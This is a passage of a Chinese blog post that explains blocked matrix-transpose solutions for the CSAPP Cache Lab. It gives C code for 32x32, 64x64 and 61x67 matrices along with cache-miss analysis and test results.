    • 定量分析:对于第一个8x8分块。1 如果不引入局部变量,会有37次cache miss,第1行10次、第2-7行4次、第8行3次;2 如果引入局部变量,会有23次cache miss,第1行9次,第2-8行2次。

      可以在草稿纸上画一画,比如不引入局部变量时,第一行访问结束后cache中存了A[0]和B[1…7],第二行访问结束后cache中存了A[1]和B[0]、B[2…7]…也可以参考知乎链接,计算过程讲的很清楚。

    方案2只是缓解了对角线的缓存冲突问题,并没有完全消除。这是因为前两种方式中,A、B矩阵是交替访问的,A按行访问、B按列访问。这样就会导致访问A的一行Lx时,必须加载B全部的缓存,B缓存的某一部分又会被A的Lx行的缓存替换,在访问A的下一行时,B缓存被替换的部分又得被加载…这点导致无法消除对角线冲突。

    那么,能不能完全消除对角线冲突?能,就是方案3:先复制再转置。先将A中的8x8分块复制到B中的对应位置,然后再对B中的8x8分块进行转置。复制过程中,A矩阵和B矩阵均按行访问。代码如下,(i, j)是矩阵A的8x8分块的左上角,(j,i)是矩阵B的8x8分块的左上角,故复制过程中,A从i行开始(s初始化为i),B从j行开始(k初始化为j)。

    char transpose_submit_desc[] = "Transpose submission";//方案3:先复制再转置避免对角线缓存冲突
    void transpose_submit(int M, int N, int A[N][M], int B[M][N])
    {   
        int a, b, c, d, e, f, g, h;
        int i, j, s, k;
        if (M == 32) { // 32 x 32
            for (i = 0; i < N; i += 8) {
                for (j = 0; j < M; j += 8) {
                    // 1.Copy
                    for (s = i, k = j; s < i + 8; s++, k++) {
                        a = A[s][j];
                        b = A[s][j+1];
                        c = A[s][j+2];
                        d = A[s][j+3];
                        e = A[s][j+4];
                        f = A[s][j+5];
                        g = A[s][j+6];
                        h = A[s][j+7];
                        B[k][i] = a;
                        B[k][i+1] = b;
                        B[k][i+2] = c;
                        B[k][i+3] = d;
                        B[k][i+4] = e;
                        B[k][i+5] = f;
                        B[k][i+6] = g;
                        B[k][i+7] = h;
                    }
                    // 2.transpose
                    for (s = 0; s < 8; s++) {
                        for (k = s + 1; k < 8; k++) {
                            a = B[j+s][i+k];
                            B[j+s][i+k] = B[j+k][i+s];
                            B[j+k][i+s] = a;
                        }
                    }
                }
            }
        }
    }
    

    测试结果如下,misses数为259, 是最优解了。

    cs144@cs144vm:~/CSAPP/CacheLab/cachelab-handout$ ./test-trans -M 32 -N 32
    Function 0 (2 total)
    Step 1: Validating and generating memory traces
    Step 2: Evaluating performance (s=5, E=1, b=5)
    func 0 (Transpose submission): hits:3586, misses:259, evictions:22
    

    下面给出"先复制再转置"方案,处理第一个8x8分块时的缓存替换情况,出自知乎链接。B矩阵的某行替换完A矩阵后,不会再被A矩阵替换,消除了对角线冲突,是最优解。

    cache:
    0: A[0] -> B[0]
    1: A[1] B[0] -> B[0..1]
    2: A[2] B[0..1] -> B[0..2]
    ...
    7: A[7] B[0..6] -> B[0..7]
    
  4. 对于64 x 64矩阵,矩阵中的每行可以占8个cache line,故每4行会出现同一矩阵的缓存冲突。简单地将第三点中的方案3调整为4x4分块,发现misses数为1603,达不到满分要求1300。这是因为没有充分利用缓存中的数据,cache line中的8个int只用到了4个。

    思路参考了CSAPP Cache Lab 缓存实验,属实超出能力范围了,结合这个链接的代码和图一起看。仍然使用8x8分块,不过拆成4个4x4进行处理。代码如下:

    if (M == 64) { // 64 x 64
        for (i = 0; i < N; i += 8) {
            for (j = 0; j < M; j += 8) {
                for (k = 0; k < 4; k++) { //First 4 rows of A
                    // A top right
                    a = A[i+k][j];
                    b = A[i+k][j+1];
                    c = A[i+k][j+2];
                    d = A[i+k][j+3];
                    // A top left
                    e = A[i+k][j+4];
                    f = A[i+k][j+5];
                    g = A[i+k][j+6];
                    h = A[i+k][j+7];
                    // B top left
                    B[j][i+k] = a;
                    B[j+1][i+k] = b;
                    B[j+2][i+k] = c;
                    B[j+3][i+k] = d;
                    // B top right
                    B[j][i+k+4] = e;
                    B[j+1][i+k+4] = f;
                    B[j+2][i+k+4] = g;
                    B[j+3][i+k+4] = h;
                }
                for (k = 0; k < 4; k++) { //Last 4 rows of A
                    //copy 2 columns of A;
                    a = A[i+4][j+k], e = A[i+4][j+k+4];
                    b = A[i+5][j+k], f = A[i+5][j+k+4];
                    c = A[i+6][j+k], g = A[i+6][j+k+4];
                    d = A[i+7][j+k], h = A[i+7][j+k+4];
                    // swap "B top right" with first column
                    s = B[j+k][i+4], B[j+k][i+4] = a, a = s;
                    s = B[j+k][i+5], B[j+k][i+5] = b, b = s;
                    s = B[j+k][i+6], B[j+k][i+6] = c, c = s;
                    s = B[j+k][i+7], B[j+k][i+7] = d, d = s;
                    // Add "2 columns of A" to Bottom of B;
                    B[j+k+4][i] = a, B[j+k+4][i+4] = e;
                    B[j+k+4][i+1] = b, B[j+k+4][i+1+4] = f;
                    B[j+k+4][i+2] = c, B[j+k+4][i+2+4] = g;
                    B[j+k+4][i+3] = d, B[j+k+4][i+3+4] = h;
                }
            }
        }
    }
    

    测试效果如下,misses数为1107,还不错,满足了满分要求1300。注意,上述代码解决了同一个矩阵内的缓存冲突问题,但是没有避免两个矩阵之间的冲突,可以再处理A矩阵前4行时,使用先复制后转置的方法,减少一部分miss。

    cs144@cs144vm:~/CSAPP/CacheLab/cachelab-handout$ ./test-trans -M 64 -N 64
    
    Function 0 (2 total)
    Step 1: Validating and generating memory traces
    Step 2: Evaluating performance (s=5, E=1, b=5)
    func 0 (Transpose submission): hits:9138, misses:1107, evictions:1075
    
  5. 对于61x67矩阵,类似32x32矩阵的策略,选择一个合适的分块大小就行,可以不断地尝试。其满分要求是misses < 2000,比较容易达到。先尝试过8x8分块发现不行,然后采用8x15分块,代码如下,当剩余数目大于8x15时,引入局部变量减少Conflict misses,否则按行扫描进行转置:

    if (M == 61) { // 61x67
        for (i = 0; i < N; i += 8) {
            for (j = 0; j < M; j += 15) {
                if (i + 8 <= N && j + 15 <= M) {
                    for (s = j; s < j + 15; s++) {
                        a = A[i][s];
                        b = A[i+1][s];
                        c = A[i+2][s];
                        d = A[i+3][s];
                        e = A[i+4][s];
                        f = A[i+5][s];
                        g = A[i+6][s];
                        h = A[i+7][s];
                        B[s][i] = a;
                        B[s][i+1] = b;
                        B[s][i+2] = c;
                        B[s][i+3] = d;
                        B[s][i+4] = e;
                        B[s][i+5] = f;
                        B[s][i+6] = g;
                        B[s][i+7] = h;
                    }
                } else {
                    // Simple row-wise scan transpose
                    for (s = i; s < min(i+8, N); s++) {
                        for (k = j; k < min(j+15, M); k++) {
                            B[k][s] = A[s][k];
                        }
                    }
                }
            }
        }
    }
    

    测试结果如下,misses = 1777小于2000,满分。

    cs144@cs144vm:~/CSAPP/CacheLab/cachelab-handout$ ./test-trans -M 61 -N 67
    
    Function 0 (2 total)
    Step 1: Validating and generating memory traces
    Step 2: Evaluating performance (s=5, E=1, b=5)
    func 0 (Transpose submission): hits:6402, misses:1777, evictions:1745
    

    为什么8x15分块要比8x8分块好?我还不太清楚,以后再慢慢思考吧,看网上说分块的单位一般是一个经验值,难懂。

    PartB的完整代码可参考https://github.com/Lyb-code/CSAPP-Labs/blob/master/CacheLab/cachelab-handout/trans.c

完成PartA和PartB后,可以实验driver.py进行整体测试,如下:

cs144@cs144vm:~/CSAPP/CacheLab/cachelab-handout$ ./driver.py
Cache Lab summary:
                        Points   Max pts      Misses
Csim correctness          27.0        27
Trans perf 32x32           8.0         8         259
Trans perf 64x64           8.0         8        1107
Trans perf 61x67          10.0        10        1777
          Total points    53.0        53

2 总结

实验总时长:38.5h。

CacheLab让我熟悉了Cache的结构,明白了如何写出缓存友好的代码。Blocking确实能大大提高局部性。虽然PartB让我心累,没思路啊,但这个Lab设计得很好、很有意思,尤其是让我见识了如何定量分析miss次数。

  • 1
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值